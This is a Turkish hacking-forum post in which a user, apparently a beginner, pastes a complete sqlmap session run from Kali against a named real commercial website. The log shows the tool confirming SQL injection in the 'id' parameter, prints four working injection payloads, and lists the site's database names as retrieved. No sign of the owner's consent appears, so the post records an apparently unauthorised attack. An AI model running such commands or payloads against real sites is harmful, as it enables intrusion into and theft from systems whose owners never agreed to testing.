Kali ile SQLMAP kullanımı

5 Tem 2014
238
0
Çanakkale
Arkadaşlar şuan Kali kullanıyorum ve SQL İnj. yapmaya çalışıyorum

Uçbirimdeki yazılar :
Kod:
root@Kali-Furkan:~# sqlmap -u www.artlinkinteriors.com/page.php?id=1 --dbs 
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201602210a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:40:50

[18:40:52] [INFO] testing connection to the target URL
[18:40:53] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[18:40:54] [INFO] testing if the target URL is stable
[18:40:55] [INFO] target URL is stable
[18:40:55] [INFO] testing if GET parameter 'id' is dynamic
[18:40:57] [WARNING] GET parameter 'id' does not appear dynamic
[18:40:58] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[18:40:58] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[18:40:58] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[18:41:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:41:12] [WARNING] reflective value(s) found and filtering out
[18:41:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:42:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[18:43:47] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:44:05] [INFO] GET parameter 'id' seems to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[18:44:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:44:05] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[18:44:05] [INFO] testing 'MySQL inline queries'
[18:44:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[18:44:05] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[18:44:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[18:44:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[18:44:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:44:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:44:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[18:44:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[18:44:13] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[18:44:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[18:44:24] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT - comment)'
[18:44:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[18:44:37] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[18:44:58] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 OR time-based blind' injectable 
[18:44:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:44:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:45:08] [INFO] target URL appears to be UNION injectable with 9 columns
[18:45:19] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 297 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' RLIKE (SELECT (CASE WHEN (7183=7183) THEN 1 ELSE 0x28 END)) AND 'mppF'='mppF

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 6805 FROM(SELECT COUNT(*),CONCAT(0x716b716b71,(SELECT (ELT(6805=6805,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'thIn'='thIn

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1' OR SLEEP(5) AND 'Mcov'='Mcov

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-2414' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716b71,0x7564566a4371426a56655a4a664f67644a625442796877524c4a5356506a687448644b6d46625466,0x71716a7071),NULL,NULL,NULL-- -
---
[18:47:40] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Apache
back-end DBMS: MySQL 5.0
[18:47:40] [INFO] fetching database names
[18:47:40] [CRITICAL] connection dropped or unknown HTTP status code received. Try to force the HTTP User-Agent header with option '--user-agent' or switch '--random-agent'. sqlmap is going to retry the request(s)
[18:47:43] [INFO] the SQL query used returns 2 entries
[18:47:46] [INFO] retrieved: information_schema
[18:47:49] [INFO] retrieved: artlinki_db
available databases [2]:                                                       
[*] artlinki_db
[*] information_schema

[18:47:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.artlinkinteriors.com'

[*] shutting down at 18:47:49

root@Kali-Furkan:~#
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.